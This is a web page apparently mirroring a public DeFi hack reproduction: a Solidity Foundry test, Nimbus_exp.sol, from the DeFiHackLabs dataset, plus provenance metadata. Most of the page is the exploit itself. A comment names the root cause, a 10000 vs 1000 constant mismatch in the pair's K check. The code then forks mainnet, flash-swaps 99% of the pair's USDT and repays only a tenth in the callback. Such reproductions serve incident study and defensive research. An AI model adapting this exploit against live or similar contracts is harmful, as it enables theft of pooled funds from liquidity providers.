Skip to content
THREATWIRE

Public reproduction file

src/test/2021-09/Nimbus_exp.sol

Public reproduction file for dataset entry Nimbus Platform.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-09/Nimbus_exp.sol40 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7interface IERC20Custom {
8 function transfer(address, uint256) external;
9}
11/*
12 Vulnerable contract: https://etherscan.io/token/0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1#code
14 root cause: inconsistent value in the code, 10000 vs 1000.
15 // scope for reserve{0,1}Adjusted, avoids stack too deep errors
16 uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(15));
17 uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(15));
18 require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Nimbus: K');*/
19contract ContractTest is Test {
20 address public pair = 0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1;
21 address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
22 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
24 function setUp() public {
25 cheats.createSelectFork("mainnet", 13_225_516); //fork bsc at block 13225516
26 }
28 function testExploit() public {
29 console.log("Before exploiting", IERC20(usdt).balanceOf(address(this)));
31 uint256 amount = IERC20(usdt).balanceOf(pair) * 99 / 100;
32 IUniswapV2Pair(pair).swap(amount, 0, address(this), abi.encodePacked(amount));
34 console.log("After exploiting", IERC20(usdt).balanceOf(address(this)));
35 }
37 function NimbusCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
38 IERC20Custom(usdt).transfer(pair, amount0 / 10);
39 }

Analysis

Dataset entry

Public Foundry test for “Nimbus Platform” (2021-09-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

4 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Nimbus Platform
Path
src/test/2021-09/Nimbus_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
68752e95cf5262a57a6edbb43de2dec37fc25d35
Language
Solidity
Size
41 lines
Date
2021-09-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2021-09/Nimbus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 68752e95cf5262a57a6edbb43de2dec37fc25d35, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.